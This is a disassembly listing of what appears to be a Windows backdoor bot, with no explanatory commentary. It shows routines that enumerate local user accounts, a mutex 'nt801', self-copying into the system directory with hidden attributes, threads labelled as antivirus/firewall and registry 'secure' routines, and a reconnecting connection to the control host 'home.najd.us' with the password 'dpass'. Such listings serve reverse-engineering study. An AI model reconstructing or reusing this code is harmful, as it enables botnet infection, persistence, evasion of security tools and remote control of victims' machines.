		call	sub_413812
		push	1
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40B2B5
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_104]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_413812
		push	1
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40B2B5
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_40BF49
; ---------------------------------------------------------------------------


loc_40BF1D:				; CODE XREF: sub_40BB90+35j
		push	eax
		lea	eax, [ebp+var_104]
		push	offset unk_429D70
		push	eax
		call	sub_413812
		push	0
		lea	eax, [ebp+var_104]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40B2B5
		add	esp, 20h


loc_40BF49:				; CODE XREF: sub_40BB90+38Bj
		cmp	[ebp+var_4], 0
		jz	short loc_40BF58
		push	[ebp+var_4]
		call	dword_44CD68


loc_40BF58:				; CODE XREF: sub_40BB90+40j
					; sub_40BB90+3BDj
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_40BB90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BF5E	proc near		; CODE XREF: sub_40CC09+1E0Ap

var_118		= byte ptr -118h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 118h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_40B8C5
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 18h


loc_40BF9D:				; CODE XREF: sub_40BF5E+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_44CC50
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_40BFFE
		cmp	eax, 0EAh
		jz	short loc_40BFFE
		push	eax
		push	eax
		call	sub_40C0DE
		pop	ecx
		push	eax
		lea	eax, [ebp+var_118]
		push	offset unk_429F84
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_118]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 24h
		jmp	short loc_40C079
; ---------------------------------------------------------------------------


loc_40BFFE:				; CODE XREF: sub_40BF5E+62j
					; sub_40BF5E+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_40C08C
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_40C079


loc_40C010:				; CODE XREF: sub_40BF5E+EDj
		cmp	edi, esi
		jz	short loc_40C04F
		push	dword ptr [edi]
		lea	eax, [ebp+var_118]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_413812
		push	1
		lea	eax, [ebp+var_118]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_40C010
		jmp	short loc_40C079
; ---------------------------------------------------------------------------


loc_40C04F:				; CODE XREF: sub_40BF5E+B4j
		lea	eax, [ebp+var_118]
		push	offset unk_429F3C
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_118]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 1Ch


loc_40C079:				; CODE XREF: sub_40BF5E+9Ej
					; sub_40BF5E+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_40C08C
		push	edi
		call	dword_44CD68
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_40C08C:				; CODE XREF: sub_40BF5E+A5j
					; sub_40BF5E+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_40BF9D
		cmp	edi, esi
		jz	short loc_40C0A4
		push	edi
		call	dword_44CD68


loc_40C0A4:				; CODE XREF: sub_40BF5E+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_118]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_118]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_40BF5E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C0DE	proc near		; CODE XREF: sub_40B734+41p
					; sub_40B929+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_40C190
		jz	loc_40C189
		cmp	eax, 7Bh
		ja	short loc_40C155
		jz	short loc_40C14B
		cmp	eax, 5
		jz	short loc_40C141
		cmp	eax, 8
		jz	short loc_40C137
		cmp	eax, 32h
		jz	short loc_40C12D
		cmp	eax, 35h
		jz	short loc_40C123
		cmp	eax, 57h
		jnz	loc_40C1DF
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_40C200
; ---------------------------------------------------------------------------


loc_40C123:				; CODE XREF: sub_40C0DE+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_40C200
; ---------------------------------------------------------------------------


loc_40C12D:				; CODE XREF: sub_40C0DE+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_40C200
; ---------------------------------------------------------------------------


loc_40C137:				; CODE XREF: sub_40C0DE+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_40C200
; ---------------------------------------------------------------------------


loc_40C141:				; CODE XREF: sub_40C0DE+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_40C200
; ---------------------------------------------------------------------------


loc_40C14B:				; CODE XREF: sub_40C0DE+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_40C200
; ---------------------------------------------------------------------------


loc_40C155:				; CODE XREF: sub_40C0DE+1Aj
		sub	eax, 7Ch
		jz	short loc_40C182
		sub	eax, 7C8h
		jz	short loc_40C17B
		dec	eax
		jz	short loc_40C171
		dec	eax
		jnz	short loc_40C1DF
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_40C200
; ---------------------------------------------------------------------------


loc_40C171:				; CODE XREF: sub_40C0DE+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_40C200
; ---------------------------------------------------------------------------


loc_40C17B:				; CODE XREF: sub_40C0DE+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_40C200
; ---------------------------------------------------------------------------


loc_40C182:				; CODE XREF: sub_40C0DE+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_40C200
; ---------------------------------------------------------------------------


loc_40C189:				; CODE XREF: sub_40C0DE+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_40C200
; ---------------------------------------------------------------------------


loc_40C190:				; CODE XREF: sub_40C0DE+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_40C1C9
		jz	short loc_40C1C2
		sub	eax, 8ADh
		jz	short loc_40C1F4
		dec	eax
		dec	eax
		jz	short loc_40C1BB
		dec	eax
		jz	short loc_40C1B4
		dec	eax
		dec	eax
		jnz	short loc_40C1DF
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_40C200
; ---------------------------------------------------------------------------


loc_40C1B4:				; CODE XREF: sub_40C0DE+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_40C200
; ---------------------------------------------------------------------------


loc_40C1BB:				; CODE XREF: sub_40C0DE+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_40C200
; ---------------------------------------------------------------------------


loc_40C1C2:				; CODE XREF: sub_40C0DE+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_40C200
; ---------------------------------------------------------------------------


loc_40C1C9:				; CODE XREF: sub_40C0DE+B9j
		sub	eax, 8CAh
		jz	short loc_40C1FB
		sub	eax, 17h
		jz	short loc_40C1F4
		sub	eax, 25h
		jz	short loc_40C1ED
		sub	eax, 29h
		jz	short loc_40C1E6


loc_40C1DF:				; CODE XREF: sub_40C0DE+35j
					; sub_40C0DE+87j ...
		push	offset aAnUnknownError ; "An unknown error occurred."
		jmp	short loc_40C200
; ---------------------------------------------------------------------------


loc_40C1E6:				; CODE XREF: sub_40C0DE+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_40C200
; ---------------------------------------------------------------------------


loc_40C1ED:				; CODE XREF: sub_40C0DE+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_40C200
; ---------------------------------------------------------------------------


loc_40C1F4:				; CODE XREF: sub_40C0DE+C2j
					; sub_40C0DE+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_40C200
; ---------------------------------------------------------------------------


loc_40C1FB:				; CODE XREF: sub_40C0DE+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_40C200:				; CODE XREF: sub_40C0DE+40j
					; sub_40C0DE+4Aj ...
		push	offset dword_451148
		call	sub_413812
		pop	ecx
		mov	eax, offset dword_451148
		pop	ecx
		retn
sub_40C0DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C212	proc near		; CODE XREF: sub_40CC09+1E4Fp

var_518		= byte ptr -518h
var_308		= byte ptr -308h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 518h
		push	esi
		push	0FFh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_414A03
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_308]
		push	eax
		mov	[ebp+arg_0], esi
		call	dword_41F114	; GetComputerNameA
		lea	eax, [ebp+var_308]
		push	esi
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_414A03
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4149E6
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		lea	eax, [ebp+var_518]
		push	0
		push	eax
		push	0
		call	dword_44CCEC
		test	eax, eax
		jnz	short loc_40C2A2
		mov	esi, offset dword_451044
		push	offset unk_42A2DC
		push	esi
		call	sub_413812
		pop	ecx
		pop	ecx
		jmp	short loc_40C2CB
; ---------------------------------------------------------------------------


loc_40C2A2:				; CODE XREF: sub_40C212+7Aj
		lea	ecx, [ebp+var_200]
		push	ecx
		lea	ecx, [ebp+var_518]
		push	ecx
		push	eax
		call	sub_40C0DE
		pop	ecx
		mov	esi, offset dword_451044
		push	eax
		push	offset unk_42A2A0
		push	esi
		call	sub_413812
		add	esp, 14h


loc_40C2CB:				; CODE XREF: sub_40C212+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40C212	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C2D0	proc near		; CODE XREF: seg001:00415EDAp

var_99C		= dword	ptr -99Ch
var_98C		= byte ptr -98Ch
var_888		= byte ptr -888h
var_887		= byte ptr -887h
var_6F8		= byte ptr -6F8h
var_5F8		= byte ptr -5F8h
var_4F8		= byte ptr -4F8h
var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_1EC		= byte ptr -1ECh
var_E8		= dword	ptr -0E8h
var_DC		= dword	ptr -0DCh
var_BC		= dword	ptr -0BCh
var_B8		= word ptr -0B8h
var_A4		= byte ptr -0A4h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 98Ch
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp+var_8], ebx
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], offset sub_40ACAF
		push	[ebp+var_C]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		cmp	dword_42A340, ebx
		jz	short loc_40C309
		call	sub_408889


loc_40C309:				; CODE XREF: sub_40C2D0+32j
		mov	esi, dword_41F044
		call	esi	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_741F68, eax
		call	esi	; GetTickCount
		push	eax
		call	sub_413864
		pop	ecx
		call	sub_4073B6
		push	2
		call	dword_44CD84	; SetErrorMode
		push	7530h
		push	offset aNt801	; "nt801"
		push	ebx
		push	ebx
		call	dword_41F12C	; CreateMutexA
		push	eax
		call	dword_41F128	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_40C35D
		push	1
		call	dword_41F104	; ExitProcess


loc_40C35D:				; CODE XREF: sub_40C2D0+83j
		lea	eax, [ebp+var_888]
		push	eax
		push	202h
		call	dword_44CC60	; WSAStartup
		cmp	eax, ebx
		mov	[ebp+var_C], eax
		jnz	loc_40C920
		cmp	[ebp+var_888], 2
		jnz	loc_40C91A
		xor	eax, eax
		mov	al, [ebp+var_887]
		cmp	al, 2
		jnz	loc_40C91A
		mov	esi, 104h
		lea	eax, [ebp+var_3F4]
		push	esi
		push	eax
		call	dword_41F0FC	; GetSystemDirectoryA
		lea	eax, [ebp+var_2F0]
		push	esi
		push	eax
		push	ebx
		call	dword_41F0B0	; GetModuleHandleA
		push	eax
		call	dword_41F060	; GetModuleFileNameA
		lea	eax, [ebp+var_6F8]
		push	eax
		lea	eax, [ebp+var_5F8]
		push	eax
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	ebx
		push	eax
		call	sub_415628
		lea	eax, [ebp+var_6F8]
		push	eax
		lea	eax, [ebp+var_5F8]
		push	eax
		push	offset aSS_4	; "%s%s"
		lea	eax, [ebp+var_4F8]
		push	esi
		push	eax
		call	sub_413D8A
		lea	eax, [ebp+var_3F4]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_413DE0
		add	esp, 30h
		test	eax, eax
		jnz	loc_40C5D2
		cmp	dword_7420D8, ebx
		mov	esi, offset byte_42A390
		jz	short loc_40C458
		push	esi
		xor	edi, edi
		call	sub_413E90
		sub	eax, 4
		pop	ecx
		jz	short loc_40C458


loc_40C435:				; CODE XREF: sub_40C2D0+186j
		call	sub_41386E
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_42A390[edi], dl
		inc	edi
		call	sub_413E90
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_40C435


loc_40C458:				; CODE XREF: sub_40C2D0+155j
					; sub_40C2D0+163j
		lea	eax, [ebp+var_3F4]
		push	esi
		push	eax
		lea	eax, [ebp+var_1EC]
		push	offset aSS_1	; "%s\\%s"
		push	eax
		call	sub_413812
		add	esp, 10h
		lea	eax, [ebp+var_1EC]
		push	eax
		call	dword_41F078	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40C498
		lea	eax, [ebp+var_1EC]
		push	80h
		push	eax
		call	dword_41F0DC	; SetFileAttributesA


loc_40C498:				; CODE XREF: sub_40C2D0+1B4j
		mov	esi, dword_41F124
		lea	eax, [ebp+var_1EC]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2F0]
		xor	edi, edi
		push	eax


loc_40C4AF:				; CODE XREF: sub_40C2D0+216j
		call	esi	; CopyFileA
		test	eax, eax
		jnz	short loc_40C4E8
		call	dword_41F06C	; RtlGetLastWin32Error
		cmp	edi, ebx
		jnz	short loc_40C4E8
		cmp	eax, 20h
		jz	short loc_40C4C9
		cmp	eax, 5
		jnz	short loc_40C4E8


loc_40C4C9:				; CODE XREF: sub_40C2D0+1F2j
		push	1
		pop	edi
		push	3A98h
		call	dword_41F050	; Sleep
		lea	eax, [ebp+var_1EC]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2F0]
		push	eax
		jmp	short loc_40C4AF
; ---------------------------------------------------------------------------


loc_40C4E8:				; CODE XREF: sub_40C2D0+1E3j
					; sub_40C2D0+1EDj ...
		lea	eax, [ebp+var_1EC]
		push	eax
		call	sub_40863B
		pop	ecx
		lea	eax, [ebp+var_1EC]
		push	7
		push	eax
		call	dword_41F0DC	; SetFileAttributesA
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		call	sub_413890
		push	44h
		lea	eax, [ebp+var_E8]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_413890
		add	esp, 18h
		mov	[ebp+var_E8], esi
		mov	[ebp+var_DC], offset byte_438A10
		mov	[ebp+var_B8], bx
		push	1
		pop	esi
		mov	[ebp+var_BC], esi
		call	dword_41F120	; GetCurrentProcessId
		push	eax
		push	esi
		push	100000h
		call	dword_41F11C	; OpenProcess
		lea	ecx, [ebp+var_2F0]
		push	ecx
		push	eax
		lea	eax, [ebp+var_1EC]
		push	eax
		lea	eax, [ebp+var_98C]
		push	offset aSDS	; "%s %d \"%s\""
		push	eax
		call	sub_413812
		add	esp, 14h
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_E8]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp+var_98C]
		push	ebx
		push	eax
		lea	eax, [ebp+var_1EC]
		push	eax
		call	dword_41F0D4	; CreateProcessA
		test	eax, eax
		jz	short loc_40C5D2
		push	0C8h
		call	dword_41F050	; Sleep
		push	[ebp+var_24]
		mov	esi, dword_41F058
		call	esi	; CloseHandle
		push	[ebp+var_20]
		call	esi	; CloseHandle
		call	dword_44CC48	; WSACleanup
		push	ebx
		call	dword_41F104	; ExitProcess


loc_40C5D2:				; CODE XREF: sub_40C2D0+144j
					; sub_40C2D0+2D8j
		cmp	dword_742248, 2
		jle	short loc_40C61E
		mov	eax, dword_74224C
		push	dword ptr [eax+4]
		call	sub_413D7F
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		call	dword_41F128	; WaitForSingleObject
		push	esi
		call	dword_41F058	; CloseHandle
		mov	eax, dword_74224C
		cmp	[eax+8], ebx
		jz	short loc_40C61E
		push	7D0h
		call	dword_41F050	; Sleep
		mov	eax, dword_74224C
		push	dword ptr [eax+8]
		call	dword_41F118	; DeleteFileA


loc_40C61E:				; CODE XREF: sub_40C2D0+309j
					; sub_40C2D0+333j
		cmp	dword_42A330, ebx
		jz	short loc_40C63B
		cmp	dword_44CDA8, ebx
		jnz	short loc_40C63B
		lea	eax, [ebp+var_4F8]
		push	eax
		call	sub_409A42
		pop	ecx


loc_40C63B:				; CODE XREF: sub_40C2D0+354j
					; sub_40C2D0+35Cj
		lea	eax, [ebp+var_A4]
		push	offset a_e_1_0bEnz_m_d ; ".e.(1.0b) ( enz.m.d.l	) .»».	Bot start"...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_A4]
		push	ebx
		push	eax
		call	sub_4132BE
		lea	eax, [ebp+var_A4]
		push	eax
		call	sub_409833
		push	0B80h
		push	ebx
		push	offset dword_4514A8
		call	sub_413890
		lea	eax, [ebp+var_A4]
		push	offset a_e_1_0bProcess ; ".e.(1.0b) ( process.m.d.l ) .»».  AV/FW"...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_A4]
		push	1
		push	eax
		call	sub_4132BE
		add	esp, 38h
		mov	edi, eax
		mov	esi, dword_41F070
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	ebx
		push	offset sub_4126FC
		push	ebx
		push	ebx
		call	esi	; CreateThread
		imul	edi, 134h
		cmp	eax, ebx
		mov	dword_45213C[edi], eax
		jnz	short loc_40C6DB
		call	dword_41F06C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_A4]
		push	offset a_e_1_0bProce_0 ; ".e.(1.0b) ( process.m.d.l ) .»».  Faile"...
		push	eax
		call	sub_413812
		add	esp, 0Ch


loc_40C6DB:				; CODE XREF: sub_40C2D0+3EEj
		lea	eax, [ebp+var_A4]
		push	eax
		call	sub_409833
		lea	eax, [ebp+var_A4]
		mov	[esp+99Ch+var_99C], offset a_e_1_0bSecure_ ; ".e.(1.0b)	( secure.m.d.l ) .»».  System"...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_A4]
		push	1
		push	eax
		call	sub_4132BE
		add	esp, 14h
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	ebx
		push	offset off_413002
		push	ebx
		push	ebx
		call	esi	; CreateThread
		imul	edi, 134h
		cmp	eax, ebx
		mov	dword_45213C[edi], eax
		jnz	short loc_40C748
		call	dword_41F06C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_A4]
		push	offset a_e_1_0bSecur_0 ; ".e.(1.0b) ( secure.m.d.l ) .»».  Failed"...
		push	eax
		call	sub_413812
		add	esp, 0Ch


loc_40C748:				; CODE XREF: sub_40C2D0+45Bj
		lea	eax, [ebp+var_A4]
		push	eax
		call	sub_409833
		lea	eax, [ebp+var_A4]
		mov	[esp+99Ch+var_99C], offset a_e_1_0bSecur_1 ; ".e.(1.0b)	( secure.m.d.l ) .»».  Regist"...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_A4]
		push	1
		push	eax
		call	sub_4132BE
		add	esp, 14h
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4F8]
		push	ebx
		push	eax
		push	offset sub_409AB2
		push	ebx
		push	ebx
		call	esi	; CreateThread
		imul	edi, 134h
		cmp	eax, ebx
		mov	dword_45213C[edi], eax
		jnz	short loc_40C7BB
		call	dword_41F06C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_A4]
		push	offset a_e_1_0bSecur_2 ; ".e.(1.0b) ( secure.m.d.l ) .»».  Failed"...
		push	eax
		call	sub_413812
		add	esp, 0Ch


loc_40C7BB:				; CODE XREF: sub_40C2D0+4CEj
		lea	eax, [ebp+var_A4]
		push	eax
		call	sub_409833
		call	sub_41386E
		push	7Fh
		push	offset aHome_najd_us ; "home.najd.us"
		push	offset dword_741F74
		mov	dword_7420F4, ebx
		call	sub_415140
		mov	eax, dword_42A314
		push	3Fh
		mov	edi, offset dword_741FF4
		push	offset off_42A368
		push	edi
		mov	dword_7420C4, eax
		call	sub_415140
		push	3Fh
		mov	esi, offset dword_742034
		push	offset aDpass	; "dpass"
		push	esi
		call	sub_415140
		add	esp, 28h
		mov	dword_7420C8, ebx


loc_40C81A:				; CODE XREF: sub_40C2D0+5F0j
					; sub_40C2D0+5FBj ...
		mov	[ebp+var_4], ebx


loc_40C81D:				; CODE XREF: sub_40C2D0+5A4j
		cmp	dword_44CDC0, ebx
		jnz	short loc_40C83B
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		call	dword_44CC30	; InternetGetConnectedState
		test	eax, eax
		jnz	short loc_40C83B
		push	7530h
		jmp	short loc_40C867
; ---------------------------------------------------------------------------


loc_40C83B:				; CODE XREF: sub_40C2D0+553j
					; sub_40C2D0+562j
		push	offset dword_741F70
		mov	dword_7420F0, ebx
		call	sub_40C929
		cmp	eax, 2
		mov	[ebp+var_C], eax
		jz	loc_40C915
		cmp	dword_7420F0, ebx
		jz	short loc_40C862
		dec	[ebp+var_4]


loc_40C862:				; CODE XREF: sub_40C2D0+58Dj
		push	0BB8h


loc_40C867:				; CODE XREF: sub_40C2D0+569j
		call	dword_41F050	; Sleep
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 6
		jl	short loc_40C81D
		cmp	[ebp+var_C], 2
		jz	loc_40C915
		cmp	[ebp+var_10], ebx
		jz	short loc_40C8C5
		push	7Fh
		push	offset aHome_najd_us ; "home.najd.us"
		push	offset dword_741F74
		call	sub_415140
		mov	eax, dword_42A314
		push	3Fh
		push	offset off_42A368
		push	edi
		mov	dword_7420C4, eax
		call	sub_415140
		push	3Fh
		push	offset aDpass	; "dpass"
		push	esi
		call	sub_415140
		add	esp, 24h
		mov	[ebp+var_10], ebx
		jmp	loc_40C81A
; ---------------------------------------------------------------------------


loc_40C8C5:				; CODE XREF: sub_40C2D0+5B3j
		cmp	byte_42A374, bl
		jz	loc_40C81A
		push	7Fh
		push	offset byte_42A374
		push	offset dword_741F74
		call	sub_415140
		mov	eax, dword_42A318
		push	3Fh
		push	offset off_42A384
		push	edi
		mov	dword_7420C4, eax
		call	sub_415140
		push	3Fh
		push	offset aDpass_0	; "dpass"
		push	esi
		call	sub_415140
		add	esp, 24h
		mov	[ebp+var_10], 1
		jmp	loc_40C81A
; ---------------------------------------------------------------------------


loc_40C915:				; CODE XREF: sub_40C2D0+581j
					; sub_40C2D0+5AAj
		call	sub_413487


loc_40C91A:				; CODE XREF: sub_40C2D0+B1j
					; sub_40C2D0+C1j
		call	dword_44CC48	; WSACleanup


loc_40C920:				; CODE XREF: sub_40C2D0+A4j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h
sub_40C2D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C929	proc near		; CODE XREF: sub_40C2D0+576p
					; DATA XREF: sub_40CC09+369Co

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_40C94E:				; CODE XREF: sub_40C929+E6j
					; sub_40C929+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_413890
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_44CCDC	; ntohs
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_408947
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40CA7B
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_413890
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_7420DC
		push	dword_42A33C
		push	eax
		call	sub_412AB7
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 134h
		push	1Bh
		add	eax, offset byte_452140
		push	edi
		push	eax
		call	sub_415140
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_44CD58	; socket
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 134h
		push	10h
		mov	dword_452134[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_44CC88	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40CA14
		push	esi
		call	dword_44CD70	; closesocket
		call	sub_408970
		push	7D0h


loc_40CA09:				; CODE XREF: sub_40C929+146j
		call	dword_41F050	; Sleep
		jmp	loc_40C94E
; ---------------------------------------------------------------------------


loc_40CA14:				; CODE XREF: sub_40C929+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset a_e_1_0bEnz_m_0 ; ".e.(1.0b) ( enz.m.d.l	) .»».	Connected"...
		call	sub_4098A7
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_40CA91
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_44CD70	; closesocket
		test	edi, edi
		jz	loc_40C94E
		cmp	edi, 1
		jnz	short loc_40CA71
		push	0DBBA0h
		jmp	short loc_40CA09
; ---------------------------------------------------------------------------


loc_40CA71:				; CODE XREF: sub_40C929+13Fj
		cmp	edi, 2
		jz	short loc_40CA7F
		jmp	loc_40C94E
; ---------------------------------------------------------------------------


loc_40CA7B:				; CODE XREF: sub_40C929+5Aj
		xor	eax, eax
		jmp	short loc_40CA8B
; ---------------------------------------------------------------------------


loc_40CA7F:				; CODE XREF: sub_40C929+14Bj
		push	[ebp+var_34]
		call	sub_4135DA
		pop	ecx
		push	2
		pop	eax


loc_40CA8B:				; CODE XREF: sub_40C929+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_40C929	endp


